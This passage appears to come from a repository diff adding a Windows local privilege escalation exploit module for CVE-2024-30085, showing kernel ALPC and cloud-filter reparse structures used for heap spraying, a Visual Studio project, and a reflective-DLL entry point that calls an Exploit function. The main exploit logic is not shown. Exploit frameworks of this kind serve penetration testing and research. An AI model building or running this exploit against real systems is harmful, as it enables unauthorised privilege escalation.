#define REPARSE_BUFFER_MAGIC_VALUE 'pReF'
|
||||
#define REPARSE_BITMAP_MAGIC_VALUE 'pRtB'
|
||||
#define CLD_ADD_ITEM(tag, size, offset) {cld->Items[cld -> NumItems].Tag = tag; cld->Items[cld -> NumItems].Size = size; cld->Items[cld -> NumItems].Offset = offset; cld->NumItems++;}
|
||||
/*
|
||||
Structs
|
||||
*/
|
||||
|
||||
typedef enum _KALPC_BLOB_TYPE {
|
||||
AlpcMessageType = 0x200,
|
||||
AlpcReserveType = 0x700
|
||||
}
|
||||
KALPC_BLOB_TYPE;
|
||||
typedef struct _PORT_MESSAGE {
|
||||
union {
|
||||
struct {
|
||||
USHORT DataLength;
|
||||
USHORT TotalLength;
|
||||
}
|
||||
s1;
|
||||
ULONG Length;
|
||||
}
|
||||
u1;
|
||||
union {
|
||||
struct {
|
||||
USHORT Type;
|
||||
USHORT DataInfoOffset;
|
||||
}
|
||||
s2;
|
||||
ULONG ZeroInit;
|
||||
}
|
||||
u2;
|
||||
union {
|
||||
CLIENT_ID ClientId;
|
||||
double DoNotUseThisField;
|
||||
};
|
||||
ULONG MessageId;
|
||||
union {
|
||||
SIZE_T ClientViewSize;
|
||||
ULONG CallbackId;
|
||||
};
|
||||
}
|
||||
PORT_MESSAGE, * PPORT_MESSAGE;
|
||||
typedef struct _KALPC_BLOB {
|
||||
ULONGLONG Type;
|
||||
LONGLONG Ref;
|
||||
ULONGLONG Reserved1;
|
||||
ULONGLONG Reserved2;
|
||||
CHAR Data[];
|
||||
}
|
||||
KALPC_BLOB, * PKALPC_BLOB;
|
||||
typedef struct _KALPC_MESSAGE {
|
||||
struct _LIST_ENTRY Entry;
|
||||
struct _ALPC_PORT* PortQueue;
|
||||
struct _ALPC_PORT* OwnerPort;
|
||||
struct _ETHREAD* WaitingThread;
|
||||
union {
|
||||
struct {
|
||||
ULONG QueueType : 3;
|
||||
ULONG QueuePortType : 4;
|
||||
ULONG Canceled : 1;
|
||||
ULONG Ready : 1;
|
||||
ULONG ReleaseMessage : 1;
|
||||
ULONG SharedQuota : 1;
|
||||
ULONG ReplyWaitReply : 1;
|
||||
ULONG OwnerPortReference : 1;
|
||||
ULONG ReceiverReference : 1;
|
||||
ULONG ViewAttributeRetrieved : 1;
|
||||
ULONG ViewAttributeDeleteOnRelease : 1;
|
||||
ULONG InDispatch : 1;
|
||||
ULONG InCanceledQueue : 1;
|
||||
}
|
||||
s1;
|
||||
ULONG State;
|
||||
}
|
||||
u1;
|
||||
LONG SequenceNo;
|
||||
union {
|
||||
struct _EPROCESS* QuotaProcess;
|
||||
VOID* QuotaBlock;
|
||||
};
|
||||
struct _ALPC_PORT* CancelSequencePort;
|
||||
struct _ALPC_PORT* CancelQueuePort;
|
||||
LONG CancelSequenceNo;
|
||||
struct _LIST_ENTRY CancelListEntry;
|
||||
struct _KALPC_RESERVE* Reserve;
|
||||
BYTE MessageAttributesStub[0x48];
|
||||
VOID* DataUserVa;
|
||||
struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;
|
||||
struct _ALPC_PORT* ConnectionPort;
|
||||
struct _ETHREAD* ServerThread;
|
||||
VOID* WakeReference;
|
||||
VOID* WakeReference2;
|
||||
VOID* ExtensionBuffer;
|
||||
ULONGLONG ExtensionBufferSize;
|
||||
struct _PORT_MESSAGE PortMessage;
|
||||
}
|
||||
KALPC_MESSAGE, * PKALPC_MESSAGE;
|
||||
typedef struct _KALPC_RESERVE {
|
||||
struct _ALPC_PORT* OwnerPort;
|
||||
struct _ALPC_HANDLE_TABLE* HandleTable;
|
||||
VOID* Handle;
|
||||
struct _KALPC_MESSAGE* Message;
|
||||
ULONGLONG Size;
|
||||
LONG Active;
|
||||
}
|
||||
KALPC_RESERVE, * PKALPC_RESERVE;
|
||||
typedef struct _ALPC_PORT_ATTRIBUTES {
|
||||
unsigned long Flags;
|
||||
SECURITY_QUALITY_OF_SERVICE SecurityQos;
|
||||
unsigned __int64 MaxMessageLength;
|
||||
unsigned __int64 MemoryBandwidth;
|
||||
unsigned __int64 MaxPoolUsage;
|
||||
unsigned __int64 MaxSectionSize;
|
||||
unsigned __int64 MaxViewSize;
|
||||
unsigned __int64 MaxTotalSectionSize;
|
||||
ULONG DupObjectTypes;
|
||||
#ifdef _WIN64
|
||||
ULONG Reserved;
|
||||
#endif
|
||||
}
|
||||
ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;
|
||||
typedef struct _REPARSE_DATA_BUFFER {
|
||||
ULONG ReparseTag;
|
||||
USHORT ReparseDataLength;
|
||||
USHORT Reserved;
|
||||
union {
|
||||
struct {
|
||||
USHORT SubstituteNameOffset;
|
||||
USHORT SubstituteNameLength;
|
||||
USHORT PrintNameOffset;
|
||||
USHORT PrintNameLength;
|
||||
ULONG Flags;
|
||||
WCHAR PathBuffer[1];
|
||||
}
|
||||
SymbolicLinkReparseBuffer;
|
||||
struct {
|
||||
USHORT SubstituteNameOffset;
|
||||
USHORT SubstituteNameLength;
|
||||
USHORT PrintNameOffset;
|
||||
USHORT PrintNameLength;
|
||||
WCHAR PathBuffer[1];
|
||||
}
|
||||
MountPointReparseBuffer;
|
||||
struct {
|
||||
UCHAR DataBuffer[1];
|
||||
}
|
||||
GenericReparseBuffer;
|
||||
}
|
||||
DUMMYUNIONNAME;
|
||||
}
|
||||
REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
|
||||
typedef struct {
|
||||
WORD Tag;
|
||||
WORD Size;
|
||||
DWORD Offset;
|
||||
}
|
||||
REPRASE_CLD_ITEM, * PREPRASE_CLD_ITEM;
|
||||
typedef struct {
|
||||
DWORD Magic;
|
||||
DWORD Crc32;
|
||||
DWORD Size;
|
||||
WORD Reserved;
|
||||
WORD NumItems;
|
||||
REPRASE_CLD_ITEM Items[];
|
||||
}
|
||||
REPARSE_CLD_BUFFER, * PREPARSE_CLD_BUFFER;
|
||||
/*
|
||||
Globals
|
||||
*/
|
||||
UINT g_portCount = SPRAY_COUNT;
|
||||
PHANDLE g_ports;
|
||||
PKALPC_RESERVE g_reserve;
|
||||
PKALPC_MESSAGE g_message;
|
||||
|
||||
Vendored
Executable
+170
@@ -0,0 +1,170 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{93e2da95-5c4f-4801-9156-e5ab3a944b10}</ProjectGuid>
|
||||
<RootNamespace>cve202430085dll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\..\..\..\..\..\data\exploits\CVE-2024-30085</OutDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>
|
||||
</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\inject;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalLibraryDirectories>Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\inject;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;CVE202430085DLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>Z:\metasploit-framework\external\source\ReflectiveDLLInjection\dll\src;Z:\metasploit-framework\external\source\include\windows;Z:\metasploit-framework\external\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="cve-2024-30085-dll.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp" />
|
||||
<ClCompile Include="cve-2024-30085-dll.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
Vendored
Executable
+30
@@ -0,0 +1,30 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="cve-2024-30085-dll.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="cve-2024-30085-dll.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
Vendored
Executable
+44
@@ -0,0 +1,44 @@
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
#include "ReflectiveLoader.c"
|
||||
#include "common.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
int Exploit(PMSF_PAYLOAD lpReserved);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
void main(PMSF_PAYLOAD lpReserved) {
|
||||
Exploit(lpReserved);
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
main(payload);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
Copyright (C) 2006-2010, Rapid7, Inc
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
-27
@@ -1,30 +1,3 @@
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_CONTEXT_H
|
||||
#define _VNCDLL_LOADER_CONTEXT_H
|
||||
|
||||
-27
@@ -1,30 +1,3 @@
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_INJECT_H
|
||||
#define _VNCDLL_LOADER_INJECT_H
|
||||
|
||||
-27
@@ -1,30 +1,3 @@
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_LOADER_H
|
||||
#define _VNCDLL_LOADER_LOADER_H
|
||||
|
||||
Vendored
-27
@@ -1,30 +1,3 @@
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
